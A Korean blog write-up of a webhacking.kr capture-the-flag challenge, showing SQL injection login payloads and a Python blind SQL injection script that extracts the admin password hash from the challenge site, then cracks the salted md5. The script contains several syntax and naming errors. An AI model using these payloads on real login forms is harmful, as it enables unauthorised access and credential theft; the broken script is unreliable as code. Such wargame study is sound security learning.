500점짜리 22번 문제를 준비 해 보았다.
mission : login as admin
Column Name : id, pw
admin 계정으로 로그인 하면 풀리는 문제인 것 같다.
hint로는 Column Name을 준 것 같다.
우선적으로 admin으로 로그인 시도를 해보았다.
로그인에 실패했다.
다음으로 회원 가입을 통해 내가 만들어낸 계정이 DB에 등록되도록 하였다.
admin 계정이 이미 존재해서 ad m i n 으로 공백을 통해 회원가입 후 로그인을 시도 해 보았다.
id : ad m i n
pw : admin
결과 창에 그대로 나오는 것으로 보아 효과가 없다는 것을 알 수 있다.
해시 값을 보고 자동 복호화 툴(직접 제작 중 미완성 오류가 너무 많다;;)을 이용해 암호 종류와 해시값을 알아냈다.
32비트 해시 값으로 md5가 사용되었고 해시값은 'admin'+'apple' adminapple이라고 나온 것을 확인 할수 있었다.
apple을 솔트 값으로 확인 한 것이다.
지금까지 모은 정보를 정리해 보면
Columname 2개, hash값 = pw + salt, 내가 생성한 계정
sql injection 으로 admin의 해시 값을 구해 내면 될 것 같다.
id = admin' # 구문을 통해 어떤 response가 나오는지 확인하였다.
id는 admin이 맞지만 pw가 틀렸다.
id = admin' and ' 1' = '0' # 구문을 사용하여 한번 더 확인 해보았다.
id는 admin이라는 것을 확실히 알 수 있다.
이제 문제는 pw이다.
blindsql을 사용하여 pw 길이를 먼저 구하고 그다음으로 철자를 하나씩 구해야 한다.
import requests
url='https://webhacking.kr/challenge/bonus-2/index.php'
headers = {'Cookie' : 'PHPSESSID= '}
pw = ""
for i in range(0, 100)
data['uuid'] = {"admin' and length(pw)={}#".format(i)
data['pw'] = None
response=requests.post(url, data=data)
if response.text.find("Wrong password") != -1:
pw_length = i
break
print("pw length = ", pw_length)
for i in range(1, pw_length+1):
for j in rnage (33, 133):
data['uuid'] = "admin' and ascii(substr(pw, {}, 1))={}#".format(i, j)
data['pw'] = None
response = requests.post(url, data=data)
if response.text.find("Wrong password") != -1:
password+=chr(j)
print(i, pw)
break
print("Result = ", pw)
hash 값이 6c9ca386a903921d7fa230ffa0ffc153인것을 알수 있었다.
hash 값은 pw + apple이었으니 위 해시값을 복호화(?) 해주면 된다.(여기서도 자체 툴이 애를 먹었다.)
wowapple 이라는 값인 것을 알았다.
id = admin
pw = wow
로그인 해보면
문제가 풀리는 것을 확인 할 수 있다.
'Challenge > webhacking.kr' 카테고리의 다른 글
Webhacking 61번 문제 풀이 (0) | 2020.02.22 |
---|---|
Webhacking 60번 문제 풀이 (0) | 2020.02.22 |
Webhacking 59번 문제 풀이 (0) | 2020.02.22 |
Webhacking 58번 문제 풀이 (0) | 2020.02.20 |
Webhacking 56번 문제 풀이 (0) | 2020.02.20 |